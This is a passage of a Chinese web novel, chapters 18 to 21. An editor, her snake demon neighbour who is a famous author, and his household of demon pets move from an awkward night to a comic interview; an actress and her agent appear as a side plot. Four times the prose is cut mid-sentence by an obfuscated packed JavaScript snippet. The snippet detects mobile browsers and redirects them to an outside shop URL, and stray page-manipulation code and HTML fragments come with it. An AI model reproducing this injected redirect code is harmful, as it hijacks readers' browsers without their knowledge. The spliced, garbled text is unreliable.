徐安容脸一红,想起自己现在衣冠不整的样子,捂着脸从指缝间瞪他们:“把刚才看到的都忘掉!” 哈士奇和小葱妖齐齐摇头:“没有没有,我们刚才什么都没看到!” 徐安容满意点头。 下了床,回身看床上,松软的被子卷着蛇妖,圆滚滚一长条,好像的确更像……鸡肉卷? 她忍不住想笑,猛地想起自己刚才也是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820024|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的“配料”,笑容顿时僵在了脸上。 苗苗伸手揪了揪被子,对她喊道:“容容姐,来帮个忙呀。” 前车之鉴犹在,徐安容看着露在被子外的黑蛇脑袋不敢上前,离得远远的问道:“帮什么忙?” “帮忙把老蛇挖出来扔热水里。”苗苗指了指地上的水盆,想了想又解释道,“给他……解冻?” 她一回来就去给楚柯倒热水了,就是怕他受冻后直接睡着,哪知道还是晚了一步。不过没关系,泡在热水里也能加速他醒来的过程。 徐安容看着热气腾腾的水盆,忍不住吐槽:“这温度,你是想要水煮蛇吗?” 苗苗眨了眨小黑豆眼,不明所以。徐安容无奈,端起水盆去加了一点冷水,回来时大黄和苗苗已经齐心协力把楚柯身上的被子扒下来了大半,他似乎恢复了一点意识,蛇尾配合地晃悠在床边。 徐安容端着水盆靠近,蛇尾沾上热水立刻甩了一下,水花溅了她一脸。 苗苗老成地拍拍她肩膀,叹气:“容容姐,你不要和现在的老蛇计较,他不是故意的。” 徐安容表示理解,要是不理解,就冲楚柯刚才的行为,她都能想出来一百零八种蛇的做法。 黑蛇察觉了比热水袋更温暖舒适的环境,尾巴慢慢探向水盆,然后呲溜一下,整条蛇立刻缩了好几个尺寸,飞快地沉入了热水中。 徐安容把盆放在地上,与另外俩小妖一起围观。黑蛇头浮在水面上,悠哉地在水里游弋了两圈,换了个姿势,露出肚皮,朝天漂浮着,偶尔张开蛇嘴,咕噜噜吐出一串气泡。 哈哈哈哈好好笑。 看着和人形时相差极大的黑蛇,徐安容觉得他的高冷妖设都崩成了渣渣,一时手痒,忘了刚才被蛇妖缠住的悲惨记忆,没忍住戳了戳他的肚皮,黑蛇立刻贴着她的手指蹭了蹭。 一抬头,对面俩小妖都神色莫名地看着她,好像她做了什么令妖不能理解的事情。徐安容尴尬地收回手指,掩饰性地笑道:“哈哈哈……我看看他有没有事……这应该不算性/骚扰吧……” 苗苗和大黄没说话,自顾自讨论着。 “……大概还要半小时才能醒?” “说不定十五分钟就够了?冻得不是很厉害,应该比较快吧。” “出去等着?” “好。” 俩小妖讨论完毕,站起来往外走,徐安容也赶紧站起,心虚地跟在他们后面。走到门口,正要合拢房门,她又回头看了一眼,盆里的黑蛇似乎胀大了一些。 等等,不是错觉。 她揉了揉眼睛,确认没有看错。在她回眸的这短短几秒内,蛇妖已经变回了原来的尺寸,蛇身一抖,忽的化作了人形。 白皙的肌肤上滴滴答答淌着水,水珠从脖子一路流下来,锁骨、腹肌、人鱼线、三角区…… 徐安容下意识捂住了嘴巴和鼻子,惊讶地瞪大了眼。 化形后的楚柯身上那种高冷的气质似乎又回来了,苍白的语言甚至难以描述出他此时禁/欲的诱/惑感。湿漉漉的黑发顺服地贴在他白皙的脖颈间,他甩了甩头,水珠飞溅。他拉起被子随手擦了擦,正要穿上扔在床上的衣服,忽然发现了什么,猛地转过头,目光对上门外偷窥的那一道视线。 徐安容尴尬地停在了那里,比被他原形缠住时更加尴尬。 完了,偷窥别人被抓包了。 18. 18 非分之想 纵然很尴尬,徐安容的脑海里不知道为什么突然闪过了从前看过的一个冷知识。 雄蛇,是有两个……嗯……她不由自主地往下瞄了一眼,随即呼出一口气,嚯,人形状态时果然和普通人类一样。 行动比意识更快,等她反应过来自己在这短短几秒内究竟做了什么时,她的脸色开始慢慢涨红,像是动漫里的特效般,鲜艳的番茄色从脖子开始一路往上蔓延。而房内的某蛇也想不到她居然这么大胆,诡异地沉默了两秒,竟然忘记了遮挡。 双方意识很快回笼,下一秒,徐安容就看见楚柯忽然变回了原形,她下意识上前一步想要解释这只是个误会,黑色的蛇尾却带着残影迅速朝门边袭来,啪的抽在房门上,将门关了个严实。 “我不是故意……” 余音未尽。 大门距离她的鼻尖仅有0.5公分。 被气流冲得飞散开的碎发缓缓落至耳边,徐安容盯着近在咫尺的门板,默默地挪动脚丫往后退了一步,心中却有些不忿。 混蛋蛇妖!拿她当热水袋死命缠的时候一点不知道正经,这时候却开始害羞了? 她又不是故意偷窥! 就那么几眼的功夫她还没看见什么呢! 凭什么死蛇妖可以对她这样那样占她便宜还嫌弃她穿得多,她却连看两眼都不行啦!双标! 先前的尴尬早已不翼而飞,她气鼓鼓地扭身就走,并不知道一门之隔的屋内,巨大的黑蛇在地毯上焦躁地爬着转圈,尾巴啪啪抽在地上,甩得和响尾蛇似的。黑色的蛇脸上似有些不爽,仔细看去实为羞涩,幸好现在是原形看不出脸色是否通红。 他游到门边,停顿了一会儿,不知想到了什么,又爬回床上,开始换衣服。 徐安容带着一缕说不清道不明的羞怒走到客厅,对上两双来自不同方向的小眼睛,怒气顿时偃旗息鼓,与此同时,一缕心虚悄悄浮现。 “容容姐?”小葱妖已经恢复了原形,歪了歪脑袋,小叶子顺势倒向了同一侧,有点疑惑地说道,“你的脸好像很红?” 徐安容伸手揉了揉,竭力镇定道:“没有的事,可能是你们家稍微有点热吧。” 楚柯家的暖气打得很高,这么说也不算是假话。 苗苗若有所思地点点头。 徐安容怕她再问什么难以招架的问题,连忙提出了告辞:“很、很晚了,我先回去了。” 话音落下,正巧墙上的时钟嘀嘀响了起来,凌晨两点,确实很晚了。徐安容本来只是托词,听见钟声后困意立刻涌了上来,捂着嘴打了个哈欠。 这一晚上她都没停过,看场电影还要分别照看楚柯和苗苗,回来后又被楚柯一顿折腾,整个人早就累得不行,全靠意志撑到现在,这会儿精神松懈,身体立刻发出了疲劳值即将归零的信号。 苗苗也想到了这一茬,有些歉意地和她挥了挥手。 “容容姐明天见。” 目送徐安容离开,不知是不是被传染了,她也接二连三地打起了哈欠。回头一看,大黄已经蜷在自己的窝里闭上了眼。她抹抹眼角跟着哈欠一起出来的泪花,抱着自己的小花盆往书房走。 途经楚柯房间,房门猛地被人从里打开。要不是苗苗闪得快,她都怀疑自己会不会被一脚踩中。 “老蛇你干嘛!”她不满地抬头。 楚柯也没想到她正好经过这里,一个急刹停住,弯腰将她的小花盆拎起来,另一手捧着她托到眼前。 “你要去哪儿?” “睡觉啊!老蛇你是不是傻?”苗苗甩甩小叶子,看楚柯皮肤白里透着微红的样子,示意他靠近一点,然后小手啪的贴在他额头,边试探还边嘀咕,“是不是又冻得发烧了?” 楚柯把她挪开一点,眉头皱着:“你才发烧了呢。” 他捧着苗苗往书房走,目光故作不经意地扫过客厅,没见到其他人,于是问道:“她呢?” “谁啊?”苗苗还没反应过来。 突然,她眨了眨眼,拖长了音道:“哦……你说容容姐啊?” “她已经回去啦,现在都两点多了,已经是半夜啦。”不等楚柯继续问话,苗苗就老成地拍拍他的肩,“而且啊,我劝你最近不要在容容姐面前露脸了,女孩子嘛都很害羞的,虽然你也是无意的,但对人家做了这样的事情,感觉还是很渣的……” “什么叫这样的事?”楚柯紧皱起眉,发觉事态有点不对。 明明是他被人给看光了,活了这么多年,第一次在人身状态被人赤条条地看光了,这就好比把蛇的鳞片都扒了光溜溜地放在探照灯底下,又是不爽又是羞涩,他还没找人负责呢,怎么变成他对徐安容做了什么? 苗苗一拍小脑袋,恍然:“哦,你那时候没啥意识,不记得自己做了什么,我还没来得及告诉你呢。” 她把楚柯的所作所为重述了一遍,末了提醒他:“这次是意外也就算了,老蛇你可不要对容容姐有非分之想啊,她是个好人。” 好歹是自己辛辛苦苦养了这么久的小妖精,怎么认识徐安容没多久,就话里话外都在维护她。 楚柯有点不平衡了。 就算他真的无意识对徐安容做过什么,她刚刚不也看回去了吗? 而且说到非分之想,怎么看都是徐安容对他有意思吧,盯着他身体的眼神跟鹰一样火热。 他把这话和苗苗一说,小葱妖看他的眼神就不对了。 “老蛇,你要点脸。” 苗苗仿佛看变态一样看着他,摇头叹气:“你可能对自己有什么误解。” 楚柯气得牙痒痒,伸出手指弹了她一下,把仰倒的小葱妖和花盆搁桌上,扭头就走了。 回到床上,他抱着热水袋来来回回翻滚却睡不着。 苗苗和他说过后,他对自己缠着徐安容不放的那一段经历也有了点印象。那是比热水袋更柔软的触感,虽然没有热水袋暖和,但是抱起来却很舒服,还有一种淡淡的香味,不知是沐浴露还是洗发水或者洗衣液的味道,反正闻起来很好闻。 俗话说,由俭入奢易,由奢入俭难,有了对比,越想越觉得手里的热水袋手感实在糟糕,他换了个思路开始想苗苗吐槽他的那些话。 对自己有误解? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820025|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼,他对自己能有什么误解。 按人类的标准来看,他有钱有脸还有才,活脱脱一个高富帅,徐安容怎么不可能对他有非分之想了?要是真没意思,会特意……特意看他的……吗? 想到这里,蛇妖的小心脏跳快了几分,从床头滚到床尾,翻来覆去折腾了半小时,终于按亮了床头灯,翻身坐了起来。 …… 另一边,徐安容躺在床上就进入了梦乡,完全不知道隔壁有个妖怪正在失眠。 这一觉睡到了中午才醒。 醒来后她照例刷了刷论坛,几乎有一半的帖子都在讨论楚柯签约的事,她撇了撇嘴,一目十行地略过,又点开了通讯软件。从昨晚凌晨起就有人给她发来了新年祝贺,虽然一眼就看得出都是复制的祝福语,她也一律回复了一个笑脸。 点开作者群冒了个头,群里的作者也都纷纷和她打了个招呼,刚聊几句,一个有些眼熟的账号就带着一连串图片在群里刷屏。 “编编!你看我家宠物可不可爱?!” 徐安容作为一个萌新编辑和同样是一群萌新的作者关系非常和谐,底下的人也不怕她,反而有什么有趣的事情都会习惯性的在群里艾特她,这次也不例外。 发图的昵称叫“猫不理小笼包”,徐安容看了眼就安心多了,不是最不着调的唐俊杰,那一般不会有什么坏事。 她这么想着,往上翻了翻记录看对方究竟发了什么宠物照片。 结果一看,她瞬间窒息了。 七八张图片里的主角全是两个巴掌长的青色小蛇,或挂在树枝上,或盘在温箱里,吐着红色的蛇信,昂着脑袋,蛇瞳冷漠地盯着镜头。 图片底下的呼声分成了两波,一波叫着“好可怕冷血动物最恶心了”,另一波则爆发出了与众不同的热情。 唐俊杰一连发了好几个比心的表情包:“啊啊啊啊这是翠青蛇吧?好萌好萌好可爱无敌可爱!” 往下有人跟着她排队。 徐安容发了一串省略号。 “猫不理小笼包”继续发着消息:“就是翠青,三大暴毙王之一,我已经养了六个月了,很快就要超过论坛大神的记录了。”她一边发一边又艾特了一下徐安容,“编编,你觉得可爱不?” “谢谢,我最近对蛇有点过敏。”徐安容面无表情地回道,“我对蛇的阴影大概要维持一段时间了。” “猫不理小笼包”连着发了一串问号,但很快有人把她的注意力吸引了过去——有人向她请教养蛇的攻略,还有人找她科普为什么翠青蛇又叫暴毙王。 徐安容本来想关掉群聊的,看到科普,莫名其妙地又停留了几分钟。 哦,不小心上手玩了一下……嘣!暴毙了…… 哦哦,说话声音稍微大一点……嘣!暴毙了…… 哦哦哦……蛇原来这么难养的吗,动不动就会暴毙? 徐安容想到隔壁昨天出门转了一晚上回家就陷入昏睡的某蛇妖,心情有点复杂,看来就算成了大妖怪也还是一样的脆弱。 就在她胡思乱想的时候,唐俊杰在群里丢了一个视频链接。 19. 19 她和她和他 视频点开,并没有什么特殊之处。 徐安容看着屏幕中央的两条白蛇,面无表情地挥舞着鼠标正要关掉网页,视频中画面却忽然一抖,随后镜头拉近,再拉近,两截约小指大小呈现V字型分布的粉色物体忽然进入了画面中央。 “噗——” 一口酸奶全部贡献给了电脑屏幕。 白色的液体从显示屏上滴滴答答落下,很容易让人联想起一些不太和谐的东西,偏偏她不久前还真的看过类似的物体。徐安容青着脸抽出纸巾擦拭,群里,唐俊杰还在得意洋洋地炫耀。 “这可是我的珍藏视频哦!嘿嘿嘿,惊不惊喜意不意外刺不刺激?” 有惊无喜。 徐安容呵呵冷笑两声,指挥着鼠标点下了禁言24小时。 “好好码字,天天向上,共建和谐社会主义。再放污染女孩子视线的东西,我给你禁言一个月。” 话的结尾她艾特了一下唐俊杰。 被禁止发言的账号没有任何回复,但徐安容相信这个不着调的家伙一定看到了自己发的内容。满意地巡视了一圈,作者群里又恢复了欣欣向荣的景象,她正要退出,忽然一个很少发言的账号浮出了水面。 “萌编你想不到吧,整个群我有无数小号哈哈哈哈……” 发言昵称是“唐俊杰本杰”。 徐安容忽然有了一种面对熊孩子时的糟心感和无力感。 唐俊杰还在源源不断地发着消息,一行行文字快速闪现,转瞬间铺满了整个屏幕。徐安容自从在自家邻居身上见识到了物种的多样性后,每次见到唐俊杰都会忍不住想这货一定是章鱼精吧?是吧,不然水群速度怎么这么惊人? “萌编我感觉你最近真的不太对劲,失恋的可能性在百分之八十以上,不过别担心,我的怀抱会一直对你敞开的!” “要是你不喜欢我,没关系,我还有好几个哥哥,长得也都很帅!” “对了萌编,你是不是和楚神有一腿来着……” 徐安容:“呵呵。” 下一秒,群里出现了一条退群提示和一个新公告——“本群不许养小号。” 她头疼地揉了揉额头,彻底关掉了群聊,刚想着眼不见心不烦,右下角的企鹅图标又闪烁了起来。她还以为是唐俊杰,点开一看,昵称却是“胡建小福蝶”。 “亲,在吗亲?” 徐安容:“有事起奏,无事退朝。” “是这样滴亲,昨晚上有个大土豪给楚神专栏扔了好多霸王票,当然哩,这不是重点。” 徐安容被她今天的语气恶心了一下,回复道:“好好说话。” “咳咳。”同事正经了一点,认真打了一段话,“是这样的,因为楚神签约到我们网站引起了很大反响,昨晚上又有土豪给他刷了一大波的霸王票,刷得那叫一个轰动,把本来不认识他的人也都引起了兴趣,现在不仅是他的粉丝,还有无数路人都对他很好奇,加上他之前的小说版权也转到了咱们公司,影视剧的合约也接着在谈,不出意外过两天就能达成协议了,所以头儿考虑着让你今天找楚神做一个文字类访谈,咱们放网站首页去……” 徐安容看了眼日期,是元旦没错啊。 “你知道今天是几号吗?”她问道。 才元旦第一天,还放着假呢,就想奴役别人干活啊? “咳咳,我只是个传话的,加班工资不归我负责。”同事爽快地撇清了责任,“头儿怕你骂他,所以让我来通知你。” “……难道这样我就不会骂他了吗?” “鸵鸟心理,不是当面可能就无所谓了吧。” “我居然无话可说……”徐安容抽了抽嘴角,想起那个总是猥琐地顶着“管理员03”马甲潜伏在论坛各个板块的男人,一时间不知道该说什么。 “等等。”她忽然想起来,“为什么不派你去?” “因为你是楚神的责编,他签在你的手下了啊!”同事忽然咆哮道,满屏的感叹号十分惊人,“你以为我不想吗?!!!我超羡慕你的啊!!!” “……谢谢羡慕。” “记得要尽快啊,今晚就要挂首页去了。” 聊天结束,徐安容看着对方发过来的访谈模板压缩包,感觉头疼得更厉害了。 说实话,如果可以选择,这两天她实在不想和楚柯打交道,不然她很容易想起他那条灵活的蛇尾巴以及变成人身后的精致锁骨,隐约的腹肌与令人血脉偾张的人鱼线…… 啊,真是头疼。 她趴在床上这样想道。 几乎是同时,京市豪华别墅区的某一栋别墅中,一个穿着驼色大衣的女人也以同样的姿势趴在床上,产生了头疼的感觉。 女人有着一张极为精致的脸,哪怕蹙着眉苦着脸也不能掩盖她一丝一毫的美貌,一头挑染成金棕色的长卷发从她背后披散下来,遮住了她小半张脸,水盈盈的狐狸眼波光流转,流露出几分楚楚可怜的气质。 “别念了别念了,我真的知道错了。”女人抬手抱着脑袋,两臂夹紧耳朵,苦苦求饶,“唐大经纪人,拜托了,我真的知道错了,以后再也不敢了。” 美人即使做出这样的动作,也别有一番魅惑人心的风情,寻常男人若是见此,定然不忍心再苛责于她,然而她口中的唐大经纪人却显然不是这样一个怜香惜玉的男人。 戴着金丝边眼镜,穿着西装三件套,连白色衬衣也一丝不苟地扣到顶的年轻男人抱着几份合同,双手环臂站在床边看着女人的表演,清冷的俊脸上没有一丝表情。 “不肯参加剧组昨天晚上的宴会,一个人跑出去看电影,玩到凌晨两点才回来,回来了也不洗漱,熬夜看小说,还给人砸了一万多的打赏,要是我今天不过来,你准备睡到几点起?”男人云淡风轻地数落着她干过的一桩桩事,“江纪舒,你还记得今天有什么安排吗?” 新晋影后江纪舒抱着头悄悄抬起一点,无辜地眨了眨眼,迷茫地问道:“今天行程有安排?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820026|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐镜清推了推眼镜,将手中的合同一份一份丢在她跟前。 “你说有没有安排?江纪舒,你是不想在娱乐圈混了吧?” 江纪舒意识到他是真生气了,扑过去一把抱住他的大腿,勾魂的狐狸眼泪汪汪地盯着他,委委屈屈地保证道:“我真的知道错了嘛,昨天是我拍的电影首映,我总要去看看的嘛。而且男神好不容易换了个网站还准备开新文了,我太激动了……” 她贴着大腿蹭蹭,一副“你还骂我我就不起来”的无赖模样。 事实上,唐镜清还真就拿她没什么办法。 世间大多数的男人也不可能会对她有什么办法,而唐镜清如果不是因为这次真的生气了,职业道德驱使着他狠下心来批评对方,他也很少会说什么重话。 美貌真的是很有用的武器。 江纪舒察觉到他的态度稍稍有了些许软化,再接再厉地撒娇道:“不要生气了,我以后不会这样了,唐大经纪人,你就再原谅我一次好不好?” 唐镜清也有点冷不下脸了,拉着江纪舒的手让她放开自己的腿,他又忍不住批评了一句:“女孩子不可以做出这样的行为,尤其对男人,绝对不行。” 江纪舒放开他的大腿,又抱住他的手,语气纯真地说道:“人家只对你这样啊。” 唐镜清空着的另一只手推了一下眼镜,又推了一下,第三次推完,他终于又恢复了冷静。 “别闹了,快起来,下午还有个广告要拍。”他弯腰捡起被自己先前一本本丢下去的合同,语重心长道,“公司最近在和晋江谈你男神的影视版权合同,你乖一点,我给你争取这个剧本。” “真的?”江纪舒的眼睛瞬间亮了。 “嗯。”唐镜清点了点头。 “嗷嗷。” 原本还懒洋洋试图耍赖的女人从床上一跃而起,脱下大衣,赤着脚就往浴室跑。 “给我十分钟,马上就好!” 这边唐镜清给不省心的艺人做完了心理工作,那一边,徐安容也给自己完成了心理建设。 她摸出手机翻到前两天才输入进去的号码,给楚柯打了一个电话。她数着手机里的提示音,等第十四声过后,对面总算有人接通了电话。 “喂,你有什么事?” 还是清冷的声线,徐安容也不知道自己是不是想多了,感觉从中听出了一丝丝的别扭。 她努力地摆出公事公办的态度,语气正经道:“楚先生,你有时间吗?网站对你有一个文字类访谈计划,希望你能抽出一点时间来配合我完成。” 楚柯没有及时回话,徐安容听见电话那头传来了苗苗好奇的声音。 “老蛇,谁啊?居然有你编辑以外的人给你打电话?” 徐安容心想:不,她现在也是楚柯的编辑了。 楚柯不知道和苗苗说了什么,声音有点小,徐安容也没听清,只听对面一阵悉悉索索的对话过后,楚柯的声音再次清晰地响起——“哦,那你过来吧。” 20. 20 毒鸡汤 楚柯的话里隐隐有种嫌弃,好像在说离得这么近,就门对门的邻居关系,还特意打个电话干什么。 徐安容顿时傻眼了。 她难道不知道离得这么近不需要打电话吗?她就是不想看见他啊!既然是文字类访谈,那大家在网上聊一聊不好吗? 她纠结着要不要再打个电话解释一下自己的计划,还没行动,楚柯的电话又打了进来。 “怎么还不过来?” 徐安容:“……” 她深吸一口气:“这就来。” 等她慢吞吞敲响隔壁的大门时,蛇妖已经有些不耐烦了。来开门的哈士奇一脸严肃地提醒她楚柯失眠一晚上,脾气可能不太好。 “我肯定不问一些太过火的问题。”徐安容保证道。 尽职的管家后退一步放她进门,徐安容往里扫了眼,没在客厅看见楚柯,大黄看穿她的疑虑:“他在卧室里。” 徐安容点了点头,依言往他卧室走去。 她熟门熟路地摸进楚柯的卧室,后者盘腿坐在床上,一手支着下巴,一手噼里啪啦地敲着键盘。他腿上盖着被子,电脑就放在腿上,身上裹了一条厚毛毯,看起来遮挡得很严实,徐安容下意识松了口气。 楚柯抬起头看了她一眼,点点墙角的凳子,徐安容会意,搬着凳子坐到了床边。 访谈讲究内容由浅入深,徐安容先中规中矩地问了几个常规问题,诸如“你为什么要选择签约晋江”、“你对新签的网站有没有什么期待”等,楚柯都配合地一一作答。 徐安容放心了不少,唰唰记着笔记,接着往下问道:“大家都知道你在网络文学上仅仅花了四年的时间就拥有了现在这么惊人的名气与价值,想问你是从什么时候开始进行写作的呢?是不是在拥有现在的成绩之前也进行了大量的练习?” 问到这里,徐安容开始觉得访谈模板真的很千篇一律,按照既定套路,被采访的对象就要在这时给读者灌一大碗鸡汤,说一些“成功都是靠努力才得来”的话,可是楚柯不是寻常人,自然也不会按套路出牌,他的回答和徐安容预想的截然相反。 “1900年。” 徐安容怀疑自己听错了,掐掉录音笔,重复了一遍:“1900年?” “嗯,1900年。”楚柯终于从电脑屏幕前移开了目光,狭长的凤眼微挑,侧头看向她,“有什么问题?” 他明明是非常认真地在配合她的工作。 当然有问题了! 徐安容仔细回想了一下1900年的中国到底发生了哪些大事件,很快初中时那个教历史的老头中气十足的声音又回响在她脑海里——“八国联军侵华战争和义和团运动的知识点都给我记住喽!谁下次要是再错,到我办公室来默写!” 她沉默地看着楚柯,用X射线般的目光来来回回把他端详了几遍,表情露出了一丝凝重,眼前这蛇妖,妥妥就是一活历史呀。 想起楚柯是蛇妖,徐安容又释然了,毕竟是妖,活得久一点可不就很正常,只是忍不住咂舌他不愧是老妖怪,难怪苗苗总是老蛇老蛇的喊,看来也不是没有原因的。 “行,那我们接着下一个问题。”她提笔唰唰划掉笔记本上多写的两个零,愣是将楚柯的回答改成了19岁开始写作,边改边问,“那请问你为什么会开始写文呢?是什么激发了你的兴趣,才让你愿意投入进去?” 楚柯见她头也不抬地写写画画,不知道为什么有些气闷,随意地回忆了一下,说道:“那时候我隔壁院里住了一群年轻人,正好战争爆发,他们打算办个报纸,来找我写文章,我没事做就写了,虽然后来他们也没把报纸给办起来,但每一篇都给钱了。” “嘀——”徐安容再次掐掉了录音笔。 她甩了甩水笔,把刚写上去的几个字划掉,换成了自己的语言——“在一群年轻朋友的鼓励与支持下,楚先生开始了他的创作生涯。文字的魅力使他很快热爱上了写作,兴趣是催化剂,朋友是良师,在他的成功之路上,这二者的存在不可或缺……” 她写了长长一段,楚柯在边上看着有点不对,皱着眉提醒她:“你这写得好像和我说的有点不一样啊。” “没有没有,意思是一样的。”徐安容摇头,照着提纲继续往下问,“无数人在进行创作后就半途而废了,只有少数人才坚持到最后。那么请问你坚持写作的动力是什么?” “哦,因为我发现写文挣得还挺多的,比做别的事情省力,还不用出门,冬天的时候可以窝家里,有专人上门来拿稿……” “停停停!” 徐安容迫不及待地打断了他,无奈地叹了口气:“你先等等,我把录音给关了。”她把录音笔关了扔进包里,将笔记本翻过一页,盯着空白的页面沉思良久,迟疑地下笔,边写边好奇地问道,“你不会这么多年都是靠写文赚钱吧?” “差不多吧,反正写文章挺挣钱的。期间也画过画,不过找我写文章的人更多。后来《新青年》办起来,还有人来找过我加盟,不过我嫌远没去。” 蛇妖今天真的非常配合,态度良好到无可挑剔,以至于徐安容都有些不太适应他这么好说话的样子。 当然,如果他说的内容能更贴合访谈的本意一点点的话,她觉得会更好。 蛇妖歪着头靠了过来,将她写下来的句子一字一句念道:“对写作的热爱是他坚持的动力,而写作得来的收益更是锦上添花……等等,你这和我说的完全不一样。” 离得近了,徐安容身上那股淡淡的香气又蹿进了鼻子,某蛇一脸正经,不着痕迹地往她边上蹭过去了一点。 徐安容抱着本子往后挪了挪,看着楚柯没什么表情的脸,觉得自己是不是有些太敏感了,她感觉楚柯今天也有点怪怪的。 “这是要放首页的,不能照你说的如实写。”她伸手盖住本子,翻了翻剩下的提纲,直接跳到了最后一题,正色道,“最后一个问题,作为网文界目前的大神之一,你想对同行及新人说些什么?” “随便说什么都可以?” “嗯,只要是符合普通人类的话。”徐安容在“普通”和“人类”上分别加了重音。 像什么从一百多年前就开始写作这样明眼人一看就知道是非人类才能做到的事,那是绝对不可能放到首页访谈里去的。 “哦。”楚柯若有所思。 徐安容握着笔严阵以待:“想好了吗?” 楚柯点头:“成功靠的是天赋,百分之九十九的汗水也比不上百分之一的天赋。如果你没有天赋,建议及时放弃。” 再也不会有比今天更失败的访谈了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820027|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐安容用力甩着水笔,狠狠地本子上一笔一画地勾勒着,力道几乎穿透纸背——“访谈的最后,楚先生想对同行和刚入行的新人们说,成功是百分之九十九的汗水加上百分之一的天赋,即使你没有天赋,靠着努力和勤奋,未必不能收获成功。” 楚柯看了一眼,很是不满:“你不是说什么都可以,为什么又要改?” “不可以的内容包括并不限于毒鸡汤,谢谢。” 徐安容把手上的采访提纲塞进包里,摸索了一下,摸出另外两张皱巴巴的A4纸。苗苗瞅见了,抱着手机蹭过去,爬到她的腿上,好奇地翻了翻。 “容容姐,你的访谈不是结束了吗?” 小葱妖在他们访谈的时候就悄悄摸摸溜进了房间,名为来楚柯房里蹭网,实则竖起耳朵偷偷地听他们在说什么。徐安容一早发现了她,见她只是乖巧地趴在床角,也不出声打扰他们,就没有多加理会。 她捏捏苗苗的小叶子,用和楚柯说话时截然不同的语气,温和道:“这一份是读者留言,网站选了五十道票数最高的读者问题,准备和访谈内容一起放出来,算是给粉丝的福利吧。” 苗苗了然地点点头,不过看着纸上的问题表情却有点嫌弃。 “为什么有那么多人想要知道狼王的事情啊?票数竟然还是第一?” 她口中的狼王是楚柯某本仙侠小说中的配角,一条修炼成精的狼,戏份不多,但是来历神秘,又为了带领族群生存而不断与恶人争斗,最后为了主角壮烈牺牲,赚了一大票人的眼泪,微博贴吧里给他写的同人都不知道写了多少。 说实话,徐安容也挺喜欢狼王的,第一次看的时候还感动得偷偷掉了两滴眼泪,所以她不太能理解苗苗话里的嫌弃。 苗苗的小手啪啪拍着纸张:“这不就是大黄嘛!” 大黄? 徐安容下意识抬头去看楚柯,后者对上她惊疑的目光淡定地点了下头:“嗯,原型就是大黄。” 徐安容想起大黄搓着游戏手柄大杀四方的模样,又想了想他平时是怎么和苗苗来自己家混吃混喝的,感觉怎么样都没法把他和小说里那个孤傲的狼王联系起来。 正感慨,哈士奇忽然开门探头进来。 “楚老大,我的狗粮到了,你过来签收一下。” 楚柯颔首,掀开被子下了床,穿着拖鞋踢踢踏踏去签收快递。 “你看吧,我就说没什么好知道的。”苗苗摇头叹气。 徐安容忍着心中的巨大落差,和苗苗接着往下看,忽然她发现了一个有趣的问题,有人问楚柯他书里写的狐狸嫁女的故事究竟是真实存在的还是他杜撰的,感觉和普遍流传的说法不同,不太像是能凭空想象出来的,所以想现实生活中真实的狐妖的婚礼应该是什么样子? 也是巧合,徐安容看见这个问题的时候,苗苗的手机上也正在放聊斋。小葱妖没事的时候就爱刷刷电视剧,今天恰好播到《狐嫁女》这一段,戏里戏外都说起了同一件事。 “所以,真的有狐狸嫁女的事?” 苗苗托着下巴,无聊地戳着纸,点头道:“我也不知道,不过老蛇写过的很多事情都是他见识过的。” 话音落下,楚柯从外面回来,听到她们谈论的话题就应了一声。 “狐狸嫁女是真的。” 21. 21 狐妖的婚礼 “真的?” 徐安容和苗苗都转头看他,两双充满了求知欲和好奇心的眼睛让楚柯漫不经心的态度收敛了一点。 “真的。”他郑重点头。 “快快!老蛇你坐下,给我们说说狐妖的婚礼到底是怎么回事?”苗苗兴奋地拍了拍床单,在边沿圈出一块地让楚柯坐下。楚柯本来觉得没有什么好讲的,不过是一群狐狸精没事弄出来的习俗罢了,可拒绝的话到了嘴角,瞥见徐安容也亮晶晶的眼睛,他犹豫了一下还是把话咽了回去。 来者是客,而且人家是来采访他的,既然问题都是读者想知道的,那他拒绝也不好,对吧? 